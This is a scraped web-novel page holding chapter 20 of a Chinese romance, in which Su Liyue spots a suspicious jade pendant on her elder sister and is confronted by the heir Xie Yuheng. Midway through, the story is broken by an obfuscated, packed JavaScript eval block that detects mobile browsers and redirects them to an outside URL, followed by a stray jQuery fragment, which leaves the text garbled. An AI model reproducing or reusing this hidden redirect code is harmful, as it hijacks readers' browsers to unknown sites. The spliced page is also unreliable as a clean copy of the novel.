默认冷灰
24号文字
方正启体

20. 第20章

作者:阮苏荷本书字数:K更新时间:
    庭院积雪未融,檐下冰棱悬垂。寒风卷过,枯枝颤颤作响,抖落簌簌雪粉。


    栖梧院暖阁内,苏璃月倚坐窗边。


    自秦府归来,她夜夜难眠,总在阖眼刹那,脑中出现那片雪地红梅,转而又是假山石隙间人影纠缠。


    若是秦子墨心中另有其人,她反倒好办。父亲不会为她这个自幼离家的女儿得罪秦家,婚事难退,但可葱秦子墨处入手……


    “姑娘。”青黛掀帘端药进来,褐黑汤汁蒸腾苦气,“该用药了。”


    苏璃月接过药碗,热气熏湿眼睫。她仰头饮尽,苦涩自喉头滚下,一路灼烧至胸腹。


    可这苦,比不过心头半分。


    正此时,院外传来细碎脚步声。珠帘轻响,苏婉玉含笑走入,胭脂红锦袄映得满室生辉。


    “妹妹可好些了?”她在绣墩落座,腰间玉佩轻晃,发出悦耳玉鸣,“前几日瞧着你脸色不好,我心中挂念。”


    苏璃月搁下药碗:“劳长姐记挂,已无大碍。”


    “那便好。”苏婉玉眉眼舒展,指尖似不经意拂过腰间,“我见你屋中清简,特为你备了些物件。”


    说话间,两个丫鬟递上锦盒。鎏金手炉、羊皮护手、茉莉头油……件件精巧,却透着一股刻意亲昵。


    苏璃月目光,却落在苏婉玉腰间那枚玉佩上。


    雕蟠螭穿云纹,这般成色雕工,绝非寻常物件。尤其那纹样,她总觉着几分说不出的熟悉。


    “长姐这玉佩倒别致。”苏璃月声音平静。


    苏婉玉笑意深了几分,素手轻托玉佩:“前些日子偶然得之。都说美玉养人,我戴着这几日,晚间安稳不少。”


    她起身走向窗边,步履款款。玉佩随动作晃动,流苏扬起刹那,苏璃月瞥见背面似有刻痕。


    红绳如意结垂下,遮住大半,只隐约露出笔画末端。


    苏婉玉回身时,那点痕迹已隐入阴影。她走到苏璃月身前,俯身握住她手:“妹妹手这样凉,该好生养着才是。”


    她掌心温热,指尖染着玫瑰香露。可苏璃月只觉那温度烫人。


    “长姐费心了。”她抽回手,指尖恢复冰凉。


    苏婉玉也不恼,只笑着又叮嘱几句,方才起身离去。珠帘落下,环佩轻响渐远,满室只余那股浓甜暖香,久久不散。


    青黛上前收拾药碗,低声嘀咕:“姑娘,您歇息一会儿吧。”


    苏璃月未应声,只望着窗外积雪出神。


    *


    接连数日,苏婉玉腰间那枚玉佩成了某种无声宣示。如此珍贵之物,想来为谢玉珩所赠。


    不过,谢玉珩近来也常在府中。


    有时在二门廊下与管事商议事务,有时在花园缓步。无论苏璃月如何绕路,总能与他迎面撞见。


    一日雪后初霁,她带着青黛去库房取新炭,行至梅园小径,远远便瞧见他立在廊下与长春说话。


    她当即转身欲走,谢玉珩却已抬眼望来。


    “二姑娘。”


    避无可避,苏璃月只得福身:“世子。”


    谢玉珩缓步走近,靴子踏过积雪,发出细微声响。


    他在苏璃月身前三步处停住,目光扫过她手中暖炉:“天寒,二姑娘出来怎不多穿些?”


    “本是想取了炭便回院中。”苏璃月垂眸答。


    谢玉珩应了声,却未让路。突如其来的沉默,在雪地里蔓延,只闻寒风过枝的呜咽。


    他不再多言,侧身让路。


    苏璃月匆匆福身,快步离去。走出很远,仍能感觉到那道目光落在背上,沉甸甸的,像压了一层雪。


    *


    又过几日,晨间请安时,王令仪捻着佛珠,目光在苏璃月憔悴小脸上停留许久。


    “璃月脸色仍不见好。”她缓缓开口,“那日落水受的寒气,怕是未散尽。”


    苏婉玉柔声接话:“妹妹素来畏寒,冬日总是难熬些。”


    王令仪颔首,转而看向谢玉珩:“梅岭别院后山有处温泉庄子,池水引自地下热泉,冬日泡浴最是养人。玉珩,你这两日若得空,带她们姐妹去住几日,好生调理调理。”


    苏婉玉眼眸倏亮,颊边梨涡浅现:“谢夫人关怀。”


    苏璃月指尖收紧。她抬眸,正撞上谢玉珩投来目光。


    那双眸子沉静如潭,映着晨光,辨不清情绪。


    她慌忙垂眼,低声道:“璃月……听凭夫人安排。”


    “那便定了。”王令仪合上眼帘,“婉玉,你帮璃月打点行装。庄子偏远,东西备齐全些。”


    “是。”苏婉玉柔声应下,袖中手指却悄然蜷起。


    苏婉玉指尖抚过腰间玉佩,“庄子那处汤池极好,推窗可见整片雪松林。妹妹前段时日受寒,泡一泡温泉,驱寒最好。”


    烛火跳跃,玉佩随她动作轻转。


    苏璃月目光不由自主落去。这次离得近,看得更清,玉质润泽无瑕,雕工精湛非凡。


    正思忖间,苏婉玉起身取茶壶。步履轻移,腰间玉佩晃动幅度大了些。流苏扬起,背面刻字露出一瞬……


    那是一个“轩”字。


    “妹妹?”苏婉玉回身,眸中带着询问,“怎的脸色这般白?”


    苏璃月指尖掐进掌心,刺痛拉回神智。她垂眸,声音竭力平稳:“许是……昨夜未歇好。”


    苏婉玉凝视她片刻,忽然嫣然一笑。那笑里盛满蜜糖:“妹妹可得保重身子。明日泡汤泉,才好祛寒养气。”


    她走回桌边,腰间玉佩轻轻晃动。忽而隐入流苏阴影,再看不真切。


    两人正说话间,大丫鬟碧云带着几个丫鬟进入堂中,福身道:“奴婢见过,二位姑娘。”


    锦盒打开,两件白狐裘斗篷,毛色雪白蓬松。另有两对翡翠手镯,水头极好。


    “庄子比城里冷,斗篷务必带上。”王令仪笑道,“手镯是前些日子得的,你们姐妹二人戴着玩儿。”


    苏璃月起身相谢,苏婉玉含笑,抚着那件斗篷,轻声道:“多谢夫人,您待我们真好。”


    苏璃月望着那对翡翠手镯,心头却无半分欢喜。


    *


    从松鹤堂出来时,暮色已染透天际。


    青黛提着灯笼在前引路,光影在雪地上摇曳不定。


    苏璃月步履虚浮,耳畔反复回响那声清脆玉鸣,眼前晃动着那偶然一瞥的“轩”字。


    寒风卷着细雪扑面,刺得脸颊生疼,她拢紧斗篷。


    行至栖梧院月洞门,她忽地顿住脚步。


    廊下灯笼昏黄光晕里,立着一道挺拔身影。玉簪束发,肩上落着雪屑。


    青黛见状,福身一礼,悄然退入院中。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145587|194334||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>谢玉珩似在此等候多时,见她归来,眸光微动:“二姑娘。”


    苏璃月福身:“世子。”


    “明日辰时出发,马车停在角门。”谢玉珩语气平静,“庄子路远,需行两个时辰。二姑娘若畏寒,可多备个手炉。”


    “多谢世子提点。”苏璃月垂眸,盯着自己裙摆银线绣纹。


    沉默在雪夜里蔓延。檐下冰棱融化,滴水‘嘀嗒’敲在石阶上,声声清晰。


    谢玉珩忽然上前一步。


    苏璃月下意识后退,脚跟抵住门框。他停住,目光掠过她苍白面容,最终落在那双紧攥的手上。


    “二姑娘。”他声音压低,混着寒风送入她耳中,“你在躲我?”


    廊下灯笼光晕昏黄,雪沫在光影里打着旋。


    苏璃月眼睫微颤,指尖在袖中蜷紧,却仍维持着垂眸姿态:“世子言重了,璃月岂敢。”


    “不敢?”谢玉珩向前又近半步,两人距离近得苏璃月能看清他衣襟上银线暗纹,“此时这般明了,这若不是躲,又是什么?”


    他声音不高,却字字清晰,夜风卷起他袖摆,拂过她手背,微凉,却激起一阵细微战栗。


    苏璃月深吸一口气,终是抬眸迎上他视线。他眼眸深邃,却清晰地映着她的身影带着一丝被看穿的无措。


    “璃月客居于此,自当谨守本分,避嫌守礼。”她声音竭力平稳,每个字却像从齿缝里挤出,“何况……世子终是璃月未来姐夫,璃月更该懂得分寸。”


    谢玉珩凝视她片刻,唇角忽然勾起一抹极淡弧度,似嘲弄,又似无奈:“好一个谨守本分,避嫌守礼。”


    他微微倾身,气息拂过她额前碎发,“那日在秦府假山,二姑娘可曾想过‘分寸’二字?”


    苏璃月脸色倏白。


    “刀悬颈上,旁人能替你挡一时,挡不了一世。”他退后一步,拉开距离,声音恢复平静。


    “二姑娘若真想‘守礼’,便该想清楚,什么才是真正的出路。”


    说罢,他不再多言,颔首致意,转身离去。墨蓝身影融入夜色,很快消失在覆雪小径。


    苏璃月僵立原地,寒风卷着雪沫扑在脸上,冰凉刺骨。她缓缓松开紧攥的手,掌心月牙印深红,隐隐作痛。


    *


    当夜,栖梧院烛火通明。


    青黛收拾行装,将厚袄、手炉、药瓶一一装入箱笼。


    苏璃月坐在窗边,窗外又开始飘雪,细碎雪沫扑在窗纸上,沙沙轻响。


    江南冬日,她依偎在外祖母怀中,火盆里炭火噼啪。


    外祖母手指冰凉,却一遍遍抚她发顶:“月儿,女子命如飘萍,但心要如磐石。再难的路,看清了,便咬牙走下去。”


    那时她不懂。如今……


    “姑娘,”青黛轻声唤她,“收拾妥了。您早些歇息,明日要赶路。”


    苏璃月回神,吹熄烛火。屋内陷入黑暗,唯窗纸透进雪地微光。


    她躺上床榻,锦被厚重,却暖不透四肢百骸。


    闭上眼,无数画面翻涌,最后只有那只覆上眼帘的手掌。


    温热却带着薄茧,隔绝所有不堪。


    谢玉珩真是难缠,长姐不够他操心,为何总是揪着她不放。


    苏璃月忽然蜷缩起身子,将脸埋入枕衾。丝缎冰凉,贴着发烫脸颊。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)